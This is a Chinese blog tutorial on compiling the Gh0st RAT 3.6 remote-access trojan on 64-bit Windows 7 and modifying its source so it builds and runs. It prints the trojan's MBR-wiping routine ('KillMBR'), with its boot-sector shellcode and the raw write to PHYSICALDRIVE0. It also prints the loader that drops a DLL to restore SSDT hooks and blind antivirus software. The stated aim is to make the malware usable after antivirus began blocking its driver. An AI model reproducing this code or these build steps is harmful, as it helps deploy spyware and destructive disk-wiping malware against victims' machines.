WIN7(64bit)编译运行gh0st3.6

一、安装VC6+SDK+WDK

SDK安装不正确在编译的时候会出现莫名的错误,需要特别注意。

注意事项:

1、在安装或者使用VC++6.0时,凡是出现兼容性问题的提示对话框,一律勾选“不再显示此消息”,然后选择“运行程序”。

2、在安装VC的时候,选择“custom(自定义安装)”,特别注意在安装的时候不要选择TOOLS里面的OLE/COM OBJECT VIEWER工具,就可以顺利安装,这只是一个查看工具,不会影响VC++的编译。

3、安装SDK的时候要注意,不是所有的SDK都支持VC6,支持VC6.0的最后一个SDK版本是Microsoft Plateform SDK Febrary 2003,但这个版本不能在64位WIN7上运行,可以先在32位机器上安装,然后将整个目录拷贝出来放到64位WIN7上。

4、安装完SDK,WDK后要配置VC6,工具->选项中找到“目录”选项卡,将SDK、WDK的路径(include 、library、可执行文件)包含进去,由于路径选择有先后顺序,每添加一个都要将其移动到第一个位置。

二、gh0st3.6的代码修改

(一)、去除硬盘锁
  GH0st硬盘锁是源码的作者为了保护版权而设置的,如果我们直接更改版权会造成硬盘被锁
  中了硬盘锁的后果是非常严重的,特别是你电脑里有重要数据的时候,这样会导致你电脑里的数据全部丢失!
   1、搜索    unsigned char scode[] =
    位置:\Gh0st3.6原版\gh0st\gh0st.cpp(220):unsigned char scode[] =
   

 /* 硬盘锁  代码位置 1
  开始位置 
/
// CGh0stApp message handlers

unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";

int CGh0stApp::KillMBR()
{
    HANDLE hDevice;
    DWORD dwBytesWritten, dwBytesReturned;
    BYTE pMBR[512] = {0};
    
    // 重新构造MBR
    memcpy(pMBR, scode, sizeof(scode) - 1);
    pMBR[510] = 0x55;
    pMBR[511] = 0xAA;
    
    hDevice = CreateFile
        (
        "\\\\.\\PHYSICALDRIVE0",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        0,
        NULL
        );
    if (hDevice == INVALID_HANDLE_VALUE)
        return -1;
    DeviceIoControl
        (
        hDevice,
        FSCTL_LOCK_VOLUME,
        NULL,
        0,
        NULL,
        0,
        &dwBytesReturned,
        NULL
        );
    // 写入病毒内容
    WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
    DeviceIoControl
        (
        hDevice,
        FSCTL_UNLOCK_VOLUME,
        NULL,
        0,
        NULL,
        0,
        &dwBytesReturned,
        NULL
        );
    CloseHandle(hDevice);

    ExitProcess(-1);
    return 0;
}
  结束位置
*/

  
   2、再搜索这个:
   void CBuildView::OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView)
   位置:\Gh0st3.6原版\gh0st\BuildView.cpp(152):void CBuildView::OnActivateView(BOOL bActivate, CView* pActivateView, CView* pDeactiveView)
 

 /*  去除硬盘锁 代码位置 2

  开始处

        OnEnableHttp();
        char    strVer[10];
        char    strTitle[10];

        strVer[0] = 'C';
        strVer[1] = '.';
        strVer[2] = 'R';
        strVer[3] = 'u';
        strVer[4] = 'f';
        strVer[5] = 'u';
        strVer[6] = 's';
        strVer[7] = ' ';
        strVer[8] = 'S';
        strVer[9] = '\0';

        strTitle[0] = 'G';
        strTitle[1] = 'h';
        strTitle[2] = '0';
        strTitle[3] = 's';
        strTitle[4] = 't';
        strTitle[5] = ' ';
        strTitle[6] = 'R';
        strTitle[7] = 'A';
        strTitle[8] = 'T';
        strTitle[9] = '\0';

        CString str;
        GetDlgItemText(IDC_STATIC_VER, str);
        if (str.Find(strVer) == -1)
            ((CGh0stApp *)AfxGetApp())->KillMBR();

        GetParent()->GetWindowText(str);
        if (str.Find(strTitle) == -1)
            ((CGh0stApp *)AfxGetApp())->KillMBR();
    结束处
    */

  
   编译成功!

(二)、去除驱动文件
现在利用驱动程序在ring0态恢复SSDT HOOK(钩子),使部分安全软件的主动防御和监控失效的功能已经被很多杀软主动拦截或者驱动文件本身对于杀软已经失效,所以我们得去除掉这个驱动文件了。去除sys文件无非就是把调用了这个功能的地方注释掉就可以了,然后再去除sys的资源调用,就不会再加载驱动恢复SSDT了
1、先搜索ResetSSDT,然后把搜索到的全注释掉 10处  这里要从根文件夹搜索
1-5 处 位置: \Gh0st3.6原版\Server\install\install.cpp(439):bool ResetSSDT(HMODULE    hModule)

 /*
去除驱动文件 代理位置 1-5/10

  开始位置

bool ResetSSDT(HMODULE    hModule)
{
    typedef bool (__stdcall * LPResetSSDT)();
    bool    bRet = true;
    char    strTmpPath[MAX_PATH];
    char    strDllPath[MAX_PATH];

    GetTempPath(sizeof(strTmpPath), strTmpPath);
    GetTempPath(sizeof(strDllPath), strDllPath);
    wsprintf(strDllPath, "%s\\%d_ex.tmp", strTmpPath, GetTickCount());

    try
    {
        ReleaseResource(hModule, IDR_DLL, "BIN", strDllPath, NULL);

        HMODULE    hDll = LoadLibrary(strDllPath);
        if (hDll == NULL)
        {
            throw "";
        }

        LPResetSSDT    ResetSSDT = (LPResetSSDT)GetProcAddress(hDll, "ResetSSDT");
        if (ResetSSDT == NULL)
            throw "";
        ResetSSDT();
        FreeLibrary(hDll);
            
    }catch(...)
    {
        bRet = false;
        DeleteFile(strDllPath);
    }
    
    return bRet;
}

  结束位置
*/

  
2、第 6/10处
\Server\install\install.cpp(581):    ResetSSDT(hInstance);

 //  除去 驱动文件 位置 6/10
//    ResetSSDT(hInstance);

  
3、\Gh0st3.6原版\Server\svchost\svchost.cpp(11):#include "common/resetssdt.h"

 //除去驱动代码位置 7/10
//#include "common/resetssdt.h"

  
4、\Gh0st3.6原版\Server\svchost\svchost.cpp(24):extern "C" __declspec(dllexport) bool ResetSSDT();

 //除去驱动代码位置 8/10
//extern "C" __declspec(dllexport) bool ResetSSDT();

5、\Gh0st3.6原版\Server\svchost\svchost.cpp(83):        ResetSSDT();

 //除去驱动代码位置 9/10
//        ResetSSDT();

6、\Gh0st3.6原版\Server\svchost\svchost.cpp(222):extern "C" __declspec(dllexport) bool ResetSSDT()

 //除去驱动代码位置 10/10
/*
extern "C" __declspec(dllexport) bool ResetSSDT()
{
    return RestoreSSDT(CKeyboardManager::g_hInstance);
}
*/

7、注释掉资源调用
搜这句话  IDR_SYS
位置 :\Gh0st3.6原版\Server\svchost\svchost.rc(29):IDR_SYS                 BIN     DISCARDABLE     "..\\sys\\RESSDT.sys"

 //注释  驱动 资源文件
//IDR_SYS                 BIN     DISCARDABLE     "..\\sys\\RESSDT.sys"

 再删除svchost files 工程中的   RESSDT.sys

8、在文件夹中的工程 中  搜索:resetssdt.h
删除!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值